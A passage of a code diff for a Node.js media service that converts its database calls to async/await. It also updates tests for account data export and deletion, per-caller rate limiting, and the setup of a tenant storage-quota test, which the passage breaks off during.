+1525,7 @@ if (require.main === module) {const disk = diskUsage(config.vod.path);console.log(`[VodStorage] Disk at ${disk.usePct}%`);if (disk.usePct <= target) break;-- const eligible = db.all(`++ const eligible = await db.all(`SELECT id FROM vodsWHERE COALESCE(storage_provider, 'local') = 'local'AND COALESCE(is_recording, 0) = 0@@@ -53,7 +53,7 @@ async function sendWebhook(appOrId, event, data, { eventId = null } = {}) {if (require('./drill').enabled) return false;let app = appOrId;if (typeof appOrId === 'string') {-- try { app = db.getApp(appOrId); } catch { app = null; }++ try { app = await db.getApp(appOrId); } catch { app = null; }}if (!app || !app.webhook_url) return false;@@@ -85,16 +85,16 @@ async function sendWebhook(appOrId, event, data, { eventId = null } = {}) {* app's webhook is sent with the same event_id. Returns { data, eventId }; throws (nothing changed,* nothing queued, no webhook) when the transaction fails.*/--function announce(appId, event, { change = null, payload }) {++async function announce(appId, event, { change = null, payload }) {const events = require('./events');let data = null;let env = null;-- db.getDb().transaction(() => {-- if (change) change();-- data = typeof payload === 'function' ? payload() : payload;-- env = events.record(event, appId, data);-- events.recordObjectChanges(); // a row the change deleted: media.object.deleted, same transaction-- })();++ await db.getDb().tx(async () => {++ if (change) await change();++ data = typeof payload === 'function' ? await payload() : payload;++ env = await events.record(event, appId, data);++ await events.recordObjectChanges(); // a row the change deleted: media.object.deleted, same transaction++ });events.kick();const eventId = env ? env.event_id : null;sendWebhook(appId, event, data, { eventId }).catch(() => {});@@@ -11,71 +11,73 @@ const fs = require('fs');const os = require('os');const path = require('path');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-account-data-'));--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);--const log = console.log;--console.log = (...a) => { if (!/^\[/.test(String(a[0]))) log(...a); };--console.warn = () => {};--const { validate } = require('openvibe-contracts');--const accountData = require('../server/account-data');--const db = require('../server/db/database').getDb();++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-account-data-'));++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);++ const log = console.log;++ console.log = (...a) => { if (!/^\[/.test(String(a[0]))) log(...a); };++ console.warn = () => {};++ const { validate } = require('openvibe-contracts');++ const accountData = require('../server/account-data');++ const db = require('../server/db/database').getDb();--const DANA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', OLD = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', XENA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';--const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, visibility, lifecycle_status, legacy_ref) VALUES (?, 'live', 'live', ?, ?, 'public', 'ready', ?)");--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D1', 'file', DANA, null); // native: soft-deleted--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D2', 'file', OLD, null); // native, merged-in alias: soft-deleted--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'file', DANA, null); // held: kept--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4', 'vod', DANA, 'legacy:live:vod:7'); // VOD: removed--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5', 'clip', DANA, 'legacy:live:clip:9'); // clip: removed--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', 'thumbnail', DANA, 'legacy:live:thumb:7'); // thumbnail: marked deleted--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D7', 'screenshot', DANA, 'legacy:live:paste:abc'); // frozen paste: kept--obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D8', 'file', XENA, null); // someone else's--db.prepare("INSERT INTO media_holds (object_id, kind, reason) VALUES ('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'moderation', 'report under review')").run();--const vodFile = path.join(tmp, 'vod7.mp4'); fs.writeFileSync(vodFile, 'x');--const clipFile = path.join(tmp, 'clip9.mp4'); fs.writeFileSync(clipFile, 'y');--db.prepare("INSERT INTO vods (id, app_id, user_id, title, stream_key, storage_key, file_path, object_id) VALUES (7, 'live', 20, 'my stream', 'sk_secret', 'b2/secret/key', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4')").run(vodFile);--db.prepare("INSERT INTO clips (id, app_id, user_id, vod_id, title, file_path, object_id) VALUES (9, 'live', 20, 7, 'my clip', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5')").run(clipFile);++ const DANA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', OLD = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', XENA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';++ const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, visibility, lifecycle_status, legacy_ref) VALUES (?, 'live', 'live', ?, ?, 'public', 'ready', ?)");++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D1', 'file', DANA, null); // native: soft-deleted++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D2', 'file', OLD, null); // native, merged-in alias: soft-deleted++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'file', DANA, null); // held: kept++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4', 'vod', DANA, 'legacy:live:vod:7'); // VOD: removed++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5', 'clip', DANA, 'legacy:live:clip:9'); // clip: removed++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', 'thumbnail', DANA, 'legacy:live:thumb:7'); // thumbnail: marked deleted++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D7', 'screenshot', DANA, 'legacy:live:paste:abc'); // frozen paste: kept++ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D8', 'file', XENA, null); // someone else's++ await db.prepare("INSERT INTO media_holds (object_id, kind, reason) VALUES ('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'moderation', 'report under review') RETURNING id").run();++ const vodFile = path.join(tmp, 'vod7.mp4'); fs.writeFileSync(vodFile, 'x');++ const clipFile = path.join(tmp, 'clip9.mp4'); fs.writeFileSync(clipFile, 'y');++ await db.prepare("INSERT INTO vods (id, app_id, user_id, title, stream_key, storage_key, file_path, object_id) OVERRIDING SYSTEM VALUE VALUES (7, 'live', 20, 'my stream', 'sk_secret', 'b2/secret/key', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4') RETURNING id").run(vodFile);++ await db.prepare("INSERT INTO clips (id, app_id, user_id, vod_id, title, file_path, object_id) OVERRIDING SYSTEM VALUE VALUES (9, 'live', 20, 7, 'my clip', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5') RETURNING id").run(clipFile);--const ev = (type, payload) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2E1', event_type: type, version: 1, source: 'network', visibility: 'internal', timestamp: new Date().toISOString(), payload });++ const ev = (type, payload) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2E1', event_type: type, version: 1, source: 'network', visibility: 'internal', timestamp: new Date().toISOString(), payload });--(async () => {-- const sent = [];-- let failNext = false;-- const send = async (p, body) => { if (failNext) { failNext = false; return { ok: false, status: 503 }; } sent.push({ path: p, body }); return { ok: true, status: 200 }; };-- try {-- assert.ok(require('../server/revocations').TOPICS.includes('network.account.deleted'), 'Media subscribes');-- // ── Export ──-- const exp = ev('network.account.export_requested', { export_id: 'exp_01J8Z3Q4R5S6T7V8W9X0Y1Z2F1', subject: DANA, requested_at: new Date().toISOString(), deadline: new Date(Date.now() + 1800000).toISOString() });-- assert.strictEqual(await accountData.apply({ ...exp, source: 'live' }, { send }), 'ignored:source');-- assert.strictEqual(await accountData.apply(exp, { send }), 'exported');-- const part = sent[0].body;-- assert.ok(validate('network.account-export-part@1', part).valid, JSON.stringify(validate('network.account-export-part@1', part).errors));-- const files = Object.fromEntries(part.files.map((f) => [f.name, f.content]));-- assert.strictEqual(files['objects.json'].length, 6, "the subject's own objects only");-- assert.deepStrictEqual(files['vods.json'].map((v) => v.title), ['my stream']);-- assert.ok(!JSON.stringify(part).includes('sk_secret') && !JSON.stringify(part).includes('b2/secret/key'), 'no stream or storage keys');-- assert.strictEqual(await accountData.apply(exp, { send }), 'unchanged');-- assert.strictEqual(sent.length, 1);++ (async () => {++ const sent = [];++ let failNext = false;++ const send = async (p, body) => { if (failNext) { failNext = false; return { ok: false, status: 503 }; } sent.push({ path: p, body }); return { ok: true, status: 200 }; };++ try {++ assert.ok(require('../server/revocations').TOPICS.includes('network.account.deleted'), 'Media subscribes');++ // ── Export ──++ const exp = ev('network.account.export_requested', { export_id: 'exp_01J8Z3Q4R5S6T7V8W9X0Y1Z2F1', subject: DANA, requested_at: new Date().toISOString(), deadline: new Date(Date.now() + 1800000).toISOString() });++ assert.strictEqual(await accountData.apply({ ...exp, source: 'live' }, { send }), 'ignored:source');++ assert.strictEqual(await accountData.apply(exp, { send }), 'exported');++ const part = sent[0].body;++ assert.ok(validate('network.account-export-part@1', part).valid, JSON.stringify(validate('network.account-export-part@1', part).errors));++ const files = Object.fromEntries(part.files.map((f) => [f.name, f.content]));++ assert.strictEqual(files['objects.json'].length, 6, "the subject's own objects only");++ assert.deepStrictEqual(files['vods.json'].map((v) => v.title), ['my stream']);++ assert.ok(!JSON.stringify(part).includes('sk_secret') && !JSON.stringify(part).includes('b2/secret/key'), 'no stream or storage keys');++ assert.strictEqual(await accountData.apply(exp, { send }), 'unchanged');++ assert.strictEqual(sent.length, 1);-- // ── Deletion ──-- const del = ev('network.account.deleted', { deletion_id: 'del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1', subject: DANA, aliases: [OLD], requested_at: new Date().toISOString(), deleted_at: new Date().toISOString() });-- failNext = true;-- await assert.rejects(accountData.apply(del, { send }), /confirmation refused: 503/);-- const state = Object.fromEntries(db.prepare('SELECT id, lifecycle_status AS s FROM media_objects').all().map((r) => [r.id.slice(-2), r.s]));-- assert.deepStrictEqual(state, { D1: 'deleted', D2: 'deleted', D3: 'ready', D4: 'deleted', D5: 'deleted', D6: 'deleted', D7: 'ready', D8: 'ready' });-- assert.ok(!fs.existsSync(vodFile) && !fs.existsSync(clipFile), 'the bytes are gone');-- assert.strictEqual(db.prepare('SELECT COUNT(*) AS n FROM vods').get().n + db.prepare('SELECT COUNT(*) AS n FROM clips').get().n, 0);-- assert.strictEqual(await accountData.apply(del, { send }), 'confirmed', 'the retry confirms without erasing again');-- const conf = sent[1];-- assert.strictEqual(conf.path, '/internal/account-deletions/del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1/confirmations');-- assert.ok(validate('network.account-deletion-confirmation@1', conf.body).valid, JSON.stringify(validate('network.account-deletion-confirmation@1', conf.body).errors));-- assert.deepStrictEqual(conf.body.erased, { objects: 2, vods: 1, clips: 1, thumbnails: 1 });-- assert.deepStrictEqual(conf.body.retained, { held_media: 1, frozen_screenshots: 1 });-- assert.strictEqual(await accountData.apply(del, { send }), 'unchanged');-- assert.strictEqual(sent.length, 2);-- } finally {-- fs.rmSync(tmp, { recursive: true, force: true });-- }-- console.log('media account export and deletion: all checks passed');--})().catch((e) => { console.error(e); process.exit(1); });++ // ── Deletion ──++ const del = ev('network.account.deleted', { deletion_id: 'del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1', subject: DANA, aliases: [OLD], requested_at: new Date().toISOString(), deleted_at: new Date().toISOString() });++ failNext = true;++ await assert.rejects(accountData.apply(del, { send }), /confirmation refused: 503/);++ const state = Object.fromEntries((await db.prepare('SELECT id, lifecycle_status AS s FROM media_objects').all()).map((r) => [r.id.slice(-2), r.s]));++ assert.deepStrictEqual(state, { D1: 'deleted', D2: 'deleted', D3: 'ready', D4: 'deleted', D5: 'deleted', D6: 'deleted', D7: 'ready', D8: 'ready' });++ assert.ok(!fs.existsSync(vodFile) && !fs.existsSync(clipFile), 'the bytes are gone');++ assert.strictEqual((await db.prepare('SELECT COUNT(*) AS n FROM vods').get()).n + (await db.prepare('SELECT COUNT(*) AS n FROM clips').get()).n, 0);++ assert.strictEqual(await accountData.apply(del, { send }), 'confirmed', 'the retry confirms without erasing again');++ const conf = sent[1];++ assert.strictEqual(conf.path, '/internal/account-deletions/del_01J8Z3Q4R5S6T7V8W9X0Y1Z2G1/confirmations');++ assert.ok(validate('network.account-deletion-confirmation@1', conf.body).valid, JSON.stringify(validate('network.account-deletion-confirmation@1', conf.body).errors));++ assert.deepStrictEqual(conf.body.erased, { objects: 2, vods: 1, clips: 1, thumbnails: 1 });++ assert.deepStrictEqual(conf.body.retained, { held_media: 1, frozen_screenshots: 1 });++ assert.strictEqual(await accountData.apply(del, { send }), 'unchanged');++ assert.strictEqual(sent.length, 2);++ } finally {++ fs.rmSync(tmp, { recursive: true, force: true });++ }++ console.log('media account export and deletion: all checks passed');++ })().catch((e) => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,112 +10,114 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-limits-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--process.env.MEDIA_LIMITS_MINUTE = '3';--process.env.MEDIA_LIMITS_HOUR = '100';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-limits-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ process.env.MEDIA_LIMITS_MINUTE = '3';++ process.env.MEDIA_LIMITS_HOUR = '100';--const db = require('../server/db/database');--const auth = require('../server/auth');--const actorLimits = require('../server/actor-limits');--const objectRoutes = require('../server/objects/routes');--const { serviceAuth } = require('openvibe-contracts');--const express = require('express');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const actorLimits = require('../server/actor-limits');++ const objectRoutes = require('../server/objects/routes');++ const { serviceAuth } = require('openvibe-contracts');++ const express = require('express');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--const iat = Math.floor(Date.now() / 1000);--const tok = (sub) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub, actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat, exp: iat + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}` }, keys.privateKey);--const ONE = tok('svc:one'), TWO = tok('svc:two');++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const iat = Math.floor(Date.now() / 1000);++ const tok = (sub) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub, actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat, exp: iat + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}` }, keys.privateKey);++ const ONE = tok('svc:one'), TWO = tok('svc:two');--// The limiter's clock: 15 s into a minute, so the minute window has 45 s left.--let t = Date.UTC(2026, 8, 27, 12, 0, 15);--actorLimits._setClockForTests(() => t);--const refusals = [];--actorLimits.bindMetrics({ counter: () => ({ inc: (labels) => refusals.push(labels) }) });--const logged = [];--const warn = console.warn;--console.warn = (...a) => { logged.push(a.join(' ')); };++ // The limiter's clock: 15 s into a minute, so the minute window has 45 s left.++ let t = Date.UTC(2026, 8, 27, 12, 0, 15);++ actorLimits._setClockForTests(() => t);++ const refusals = [];++ actorLimits.bindMetrics({ counter: () => ({ inc: (labels) => refusals.push(labels) }) });++ const logged = [];++ const warn = console.warn;++ console.warn = (...a) => { logged.push(a.join(' ')); };--const app = express();--app.use(express.json());--app.use('/api/v2/:app/objects', objectRoutes);--const server = http.createServer(app);++ const app = express();++ app.use(express.json());++ app.use('/api/v2/:app/objects', objectRoutes);++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const call = async (method, p, { bearer, body, headers = {} } = {}) => {-- const h = { ...headers };-- if (bearer) h.authorization = `Bearer ${bearer}`;-- let payload;-- if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }-- const res = await fetch(base + p, { method, headers: h, body: payload });-- const text = await res.text();-- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }-- return { status: res.status, body: json, headers: res.headers };-- };-- const O = '/api/v2/live/objects';++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const call = async (method, p, { bearer, body, headers = {} } = {}) => {++ const h = { ...headers };++ if (bearer) h.authorization = `Bearer ${bearer}`;++ let payload;++ if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }++ const res = await fetch(base + p, { method, headers: h, body: payload });++ const text = await res.text();++ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }++ return { status: res.status, body: json, headers: res.headers };++ };++ const O = '/api/v2/live/objects';-- // ── A read route: MEDIA_LIMITS_MINUTE (3 here) per caller ──-- for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200);-- let r = await call('GET', O, { bearer: ONE });-- assert.strictEqual(r.status, 429, 'the fourth read in the minute is refused');-- assert.strictEqual(r.headers.get('retry-after'), '45', 'Retry-After: the rest of the minute');-- assert.ok(/^application\/problem\+json/.test(r.headers.get('content-type')));-- assert.deepStrictEqual([r.body.code, r.body.status, r.body.retry_after_seconds], ['rate_limited', 429, 45]);-- assert.ok(r.body.detail.includes('media.object.list'), r.body.detail);-- assert.strictEqual((await call('GET', O, { bearer: TWO })).status, 200, 'another principal still passes');-- assert.strictEqual((await call('GET', O, { bearer: 'not-a-token' })).status, 401, 'no credential: 401 from auth first, never a 429');-- assert.strictEqual((await call('GET', `${O}/med_missing`, { bearer: ONE })).status, 404, 'each route has its own count');-- t += 45 * 1000;-- assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200, 'the next minute opens the window again');-- console.log('✅ reads: 3 per minute per principal, 429 rate_limited + Retry-After, another principal passes');++ // ── A read route: MEDIA_LIMITS_MINUTE (3 here) per caller ──++ for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200);++ let r = await call('GET', O, { bearer: ONE });++ assert.strictEqual(r.status, 429, 'the fourth read in the minute is refused');++ assert.strictEqual(r.headers.get('retry-after'), '45', 'Retry-After: the rest of the minute');++ assert.ok(/^application\/problem\+json/.test(r.headers.get('content-type')));++ assert.deepStrictEqual([r.body.code, r.body.status, r.body.retry_after_seconds], ['rate_limited', 429, 45]);++ assert.ok(r.body.detail.includes('media.object.list'), r.body.detail);++ assert.strictEqual((await call('GET', O, { bearer: TWO })).status, 200, 'another principal still passes');++ assert.strictEqual((await call('GET', O, { bearer: 'not-a-token' })).status, 401, 'no credential: 401 from auth first, never a 429');++ assert.strictEqual((await call('GET', `${O}/med_missing`, { bearer: ONE })).status, 404, 'each route has its own count');++ t += 45 * 1000;++ assert.strictEqual((await call('GET', O, { bearer: ONE })).status, 200, 'the next minute opens the window again');++ console.log('✅ reads: 3 per minute per principal, 429 rate_limited + Retry-After, another principal passes');-- // ── An app's own key is not counted; an app acting for a user is counted per user ──-- for (let i = 0; i < 8; i++) assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200);-- const asUser = (id) => ({ bearer: 'live-key', headers: { 'x-ov-user-id': String(id) } });-- for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, asUser(7))).status, 200);-- r = await call('GET', O, asUser(7));-- assert.deepStrictEqual([r.status, r.body.code], [429, 'rate_limited'], 'user 7 of live is over');-- assert.strictEqual((await call('GET', O, asUser(8))).status, 200, 'user 8 of live still passes');-- assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200, 'the app itself still passes');-- console.log('✅ app key not counted; X-OV-User-Id counted per user');++ // ── An app's own key is not counted; an app acting for a user is counted per user ──++ for (let i = 0; i < 8; i++) assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200);++ const asUser = (id) => ({ bearer: 'live-key', headers: { 'x-ov-user-id': String(id) } });++ for (let i = 0; i < 3; i++) assert.strictEqual((await call('GET', O, asUser(7))).status, 200);++ r = await call('GET', O, asUser(7));++ assert.deepStrictEqual([r.status, r.body.code], [429, 'rate_limited'], 'user 7 of live is over');++ assert.strictEqual((await call('GET', O, asUser(8))).status, 200, 'user 8 of live still passes');++ assert.strictEqual((await call('GET', O, { bearer: 'live-key' })).status, 200, 'the app itself still passes');++ console.log('✅ app key not counted; X-OV-User-Id counted per user');-- // ── A write route has its own, tighter numbers: init 30 per minute ──-- t = Date.UTC(2026, 8, 27, 12, 5, 0);-- const init = (bearer) => call('POST', O, { bearer, body: { kind: 'file', mime_type: 'text/plain', size_bytes: 5, visibility: 'private' } });-- for (let i = 0; i < 30; i++) assert.strictEqual((await init(ONE)).status, 201);-- r = await init(ONE);-- assert.deepStrictEqual([r.status, r.body.code, r.headers.get('retry-after')], [429, 'rate_limited', '60']);-- const before = db.get('SELECT COUNT(*) AS n FROM media_objects').n;-- await init(ONE);-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_objects').n, before, 'a refused init makes nothing');-- assert.strictEqual((await init(TWO)).status, 201, 'another principal still uploads');-- console.log('✅ uploads: 30 inits per minute per principal, refused before any row is made');++ // ── A write route has its own, tighter numbers: init 30 per minute ──++ t = Date.UTC(2026, 8, 27, 12, 5, 0);++ const init = async (bearer) => await call('POST', O, { bearer, body: { kind: 'file', mime_type: 'text/plain', size_bytes: 5, visibility: 'private' } });++ for (let i = 0; i < 30; i++) assert.strictEqual((await init(ONE)).status, 201);++ r = await init(ONE);++ assert.deepStrictEqual([r.status, r.body.code, r.headers.get('retry-after')], [429, 'rate_limited', '60']);++ const before = (await db.get('SELECT COUNT(*) AS n FROM media_objects')).n;++ await init(ONE);++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_objects')).n, before, 'a refused init makes nothing');++ assert.strictEqual((await init(TWO)).status, 201, 'another principal still uploads');++ console.log('✅ uploads: 30 inits per minute per principal, refused before any row is made');-- // ── Refusals are logged (no credential) and counted ──-- assert.ok(refusals.some((l) => l.limit === 'media.object.list' && l.window === 'minute'));-- assert.ok(refusals.some((l) => l.limit === 'media.object.upload' && l.window === 'minute'));-- assert.ok(logged.some((l) => l.includes('[Limits] media.object.upload: svc:one refused, over 30 per minute')), logged.join('\n'));-- assert.ok(!logged.some((l) => l.includes('live-key') || l.includes(ONE)), 'no credential in the log');-- assert.strictEqual(actorLimits.actor({ authType: 'app', appId: 'live', ip: '127.0.0.1' }), null);-- assert.strictEqual(actorLimits.actor({ ip: '203.0.113.9' }), 'ip:203.0.113.9', 'an upload token alone: by address');-- assert.strictEqual(actorLimits.actor({ person: { subject: 'usr_x' } }), 'user:usr_x');-- console.log('✅ refusals logged and counted (media_rate_limited_total)');++ // ── Refusals are logged (no credential) and counted ──++ assert.ok(refusals.some((l) => l.limit === 'media.object.list' && l.window === 'minute'));++ assert.ok(refusals.some((l) => l.limit === 'media.object.upload' && l.window === 'minute'));++ assert.ok(logged.some((l) => l.includes('[Limits] media.object.upload: svc:one refused, over 30 per minute')), logged.join('\n'));++ assert.ok(!logged.some((l) => l.includes('live-key') || l.includes(ONE)), 'no credential in the log');++ assert.strictEqual(actorLimits.actor({ authType: 'app', appId: 'live', ip: '127.0.0.1' }), null);++ assert.strictEqual(actorLimits.actor({ ip: '203.0.113.9' }), 'ip:203.0.113.9', 'an upload token alone: by address');++ assert.strictEqual(actorLimits.actor({ person: { subject: 'usr_x' } }), 'user:usr_x');++ console.log('✅ refusals logged and counted (media_rate_limited_total)');-- console.warn = warn;-- server.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\nactor-limits: all passed');--})().catch((err) => { console.warn = warn; console.error(err); process.exit(1); });++ console.warn = warn;++ server.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\nactor-limits: all passed');++ })().catch((err) => { console.warn = warn; console.error(err); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -13,143 +13,145 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tenantabuse-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';--process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tenantabuse-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';++ process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';--const db = require('../server/db/database');--const auth = require('../server/auth');--const objectRoutes = require('../server/objects/routes');--const model = require('../server/objects/model');--const { serviceAuth, ids } = require('openvibe-contracts');--const express = require('express');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const objectRoutes = require('../server/objects/routes');++ const model = require('../server/objects/model');++ const { serviceAuth, ids } = require('openvibe-contracts');++ const express = require('express');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);--const PA = `prj_${ids.ulid()}`;--const PB = `prj_${ids.ulid()}`;--const APP_A = `app_${ids.ulid()}`;--const now = Math.floor(Date.now() / 1000);--const appTok = ({ project = PA, env = 'production' } = {}) => serviceAuth.signServiceToken({-- iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: [project],-- project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,--}, keys.privateKey);++ const PA = `prj_${ids.ulid()}`;++ const PB = `prj_${ids.ulid()}`;++ const APP_A = `app_${ids.ulid()}`;++ const now = Math.floor(Date.now() / 1000);++ const appTok = ({ project = PA, env = 'production' } = {}) => serviceAuth.signServiceToken({++ iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: [project],++ project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,++ }, keys.privateKey);--const app = express();--app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);--app.use(express.json());--app.use('/api/v1/:app/files', require('../server/files/routes'));--app.use('/api/v2/:app/objects', objectRoutes);--app.use('/o', objectRoutes.publicRouter);--app.use('/', require('../server/public/routes'));--const server = http.createServer(app);++ const app = express();++ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);++ app.use(express.json());++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ app.use('/api/v2/:app/objects', objectRoutes);++ app.use('/o', 